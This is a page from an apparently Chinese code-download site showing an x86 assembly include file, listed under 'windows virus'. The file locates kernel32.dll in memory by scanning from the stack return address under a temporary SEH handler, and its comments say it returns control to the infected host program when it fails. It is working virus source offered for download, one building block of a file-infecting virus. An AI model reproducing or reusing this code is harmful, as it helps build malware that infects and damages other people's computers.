⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 _getkernel.inc

📁 windows virus
💻 INC
字号:
;###########################################################################
;#		得到 kernel32.dll 的内存地址				   #
;###########################################################################
		;########################################
		;#  由于系统启动新进程时,会将程序返回	#
		;#  地址入栈,而启动进程的函数在		#
		;#  kernel32.dll中,所以这个入栈的地址	#
		;#  必在 kernel32.dll 中.这样,我们按页	#
		;#  向上找就能找到 kernel32.dll 在内存  #
		;# 中的地址				#
		;########################################
		MOV	ESI , [ESP]
		;########################################
		;#        添加SEH异常处理		#
		;########################################
		ASSUME	FS : NOTHING
		PUSH	EBP
		LEA	EAX , [EBX + @Kernel_FindNext]
		PUSH	EAX
		LEA	EAX , [EBX + _SEHHandler]
		PUSH	EAX
		;########################################
		;#优化以减少空间:			#
		;#	PUSH	FS : [0]		#
		;#  	MOV     FS : [0] , ESP		#
		;########################################
		XOR	EAX , EAX
		PUSH	FS : [EAX]
		MOV	FS : [EAX] , ESP
		
		;########################################
		;# 按页对齐,每页 64K (10000H)		#
		;#	AND	ESI , 0FFFF0000H	#
		;# 优化如下				#
		;########################################	
		XOR	SI , SI
	@Kernel_FindLoop:
		CMP	WORD PTR [ESI] , IMAGE_DOS_SIGNATURE
		JNE	@Kernel_FindNext
		MOV	EDI , ESI
		ADD	EDI , [EDI + IMAGE_DOS_HEADER.e_lfanew]
		CMP	WORD PTR [EDI] , IMAGE_NT_SIGNATURE
		;########################################
		;# 找到了 kernel32.dll保存地址,		#
		;# 保存地址到 ESI 中, 继续执行后面程序	#
		;########################################
		JE	@Kernel_FindEnd
	@Kernel_FindNext:
		SUB	ESI , 010000H
		CMP	ESI , 070000000H
		JNLE	@Kernel_FindLoop
		;########################################
		;# 无法找到kernel32.dll地址,病毒运行的	#
		;# 必需API无法加载,直接回宿主程序执行	#
		;########################################
		JMP	V_End
		;########################################
		;#      恢复原来的SEH异常处理		#
		;#	由于上面4次PUSH			#
		;#	即使 POP FS : [EAX] 后,还有 	#
		;#	3 * SIZEOF DWORD 字节没有平衡	#
		;########################################
	@Kernel_FindEnd:
		XOR	EAX , EAX
		POP	FS : [EAX]
	
		ADD	ESP , 3 * SIZEOF DWORD
;###########################################################################
;#		获得 kernel32.dll 的内存地址结束			   #
;###########################################################################

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -